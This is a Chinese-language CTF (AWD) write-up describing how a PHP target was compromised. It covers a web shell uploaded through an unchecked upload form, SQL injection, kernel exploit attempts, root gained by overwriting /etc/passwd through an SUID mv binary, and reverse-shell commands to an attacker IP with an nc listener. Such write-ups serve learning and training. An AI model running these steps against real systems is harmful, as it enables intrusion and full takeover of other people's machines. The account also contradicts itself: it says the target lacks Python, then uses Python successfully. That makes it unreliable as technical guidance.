1. 从Web漏洞到低权限Shell的曲折获取那次AWD比赛开局时我盯着目标IP反复扫描发现这个PHP站点简直是个漏洞百出的宝藏。先是找到个显眼的SQL注入点用sqlmap跑了几分钟就确认能拖库。但更让我兴奋的是那个毫无防护的文件上传接口——连基本的后缀名检查都没有直接把蚁剑的PHP马传了上去。连上蚁剑的瞬间熟悉的www-data用户权限提示让我既安心又头疼。安心是因为至少拿到了立足点头疼的是这种低权限账号在AWD环境里就是个残疾人。执行id命令时看到uid33(www-data) gid33(www-data) groups33(www-data)的输出我就知道真正的挑战才刚刚开始。有趣的是通过mysql -uroot -p尝试连接数据库时系统居然没要密码就直接进去了。查看select user();显示当前确实是root权限这让我产生了能直接通过数据库提权的错觉。后来才明白这就像拿着银行金库钥匙却打不开保险箱——数据库的root和系统root根本是两个平行世界。2. 数据库提权的美梦与幻灭看到MySQL是root权限运行时我立刻掏出了sqlmap的--os-shell参数。结果连续尝试了五六种写入姿势不是报错Cant create/write to file就是返回空白。这时候才想起查资料确认发现MySQL的root权限根本管不了操作系统层面的事情。这里有个关键认知数据库管理员(DBA)的root和系统root的区别就像小区物业经理和市长。物业经理能开所有业主家的门数据库操作但没法调用市政工程队系统命令。特别是当MySQL以--skip-grant-tables模式运行时连基本的into outfile都可能被限制。通过show variables like %secure%查看时发现secure_file_priv居然是NULL这意味着任何文件操作都被禁止。这时候我才彻底死心放弃了通过数据库直接提权的幻想。不过这个探索过程也不算白费至少让我确认了目标系统确实存在严格的权限隔离。3. 内核提权的尝试与挫败转战系统层提权时我先用uname -a查看了内核版本Linux target 4.15.0-112-generic。下载了linux-exploit-suggester脚本跑了一遍结果列出了七八个可能的漏洞从脏牛(Dirty Cow)到新发现的CVE-2021-4034。我挑了三个看起来最靠谱的C代码下载编译gcc exploit.c -o exploit -static chmod x exploit ./exploit每次编译都要等半天结果不是报kernel panic就是直接没反应。最接近成功的一次是拿到了root提示符但执行whoami发现还是www-data——原来是个假提权。这时候比赛时间已经过半我决定换个思路。4. SUID提权的绝地反击当常规方法都失效时我祭出了SUID这个大杀器。先用find / -perm -4000 2/dev/null手动查找具有SUID权限的文件发现列出的结果太多难以分析。于是改用自动化工具suidcheck.sh它很快标红了一个不寻常的发现/bin/mv居然设置了SUID位这个发现让我眼前一亮因为mv命令通常不应该有SUID权限。经过测试确认这个mv确实能以root身份移动文件。我的提权思路立刻清晰起来先创建个临时passwd文件cat /etc/passwd /tmp/passwd echo hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash /tmp/passwd用mv覆盖系统passwd文件/bin/mv /tmp/passwd /etc/passwd但执行su hack时却遇到must be run from a terminal的错误。这才意识到蚁剑的shell环境太受限需要升级到完整TTY。尝试用Python的pty.spawn也失败了因为目标系统居然没装Python5. 反弹Shell的终极解法在几乎绝望时我决定改用反弹Shell。最初的尝试bash -i /dev/tcp/攻击机IP/1333 01返回了cannot create /dev/tcp/...的错误。经过排查发现目标系统用的是dash而不是bash而dash不支持/dev/tcp这种特殊语法。最终成功的姿势是bash -c exec bash -i /dev/tcp/攻击机IP/1333 1在自己的VPS上用nc监听nc -lvnp 1333终于收到了梦寐以求的连接。在新获得的Shell里执行python -c import pty; pty.spawn(/bin/bash)这次成功获得了完整TTY再执行su hack输入密码hack123最终拿到了朝思暮想的root权限。当cd /root ls显示出flag文件时那种成就感比直接拿到flag还要强烈十倍。这次曲折的提权经历教会我在AWD比赛中灵活变通比死磕某个技术点更重要。有时候最不起眼的SUID程序可能就是打开root大门的金钥匙。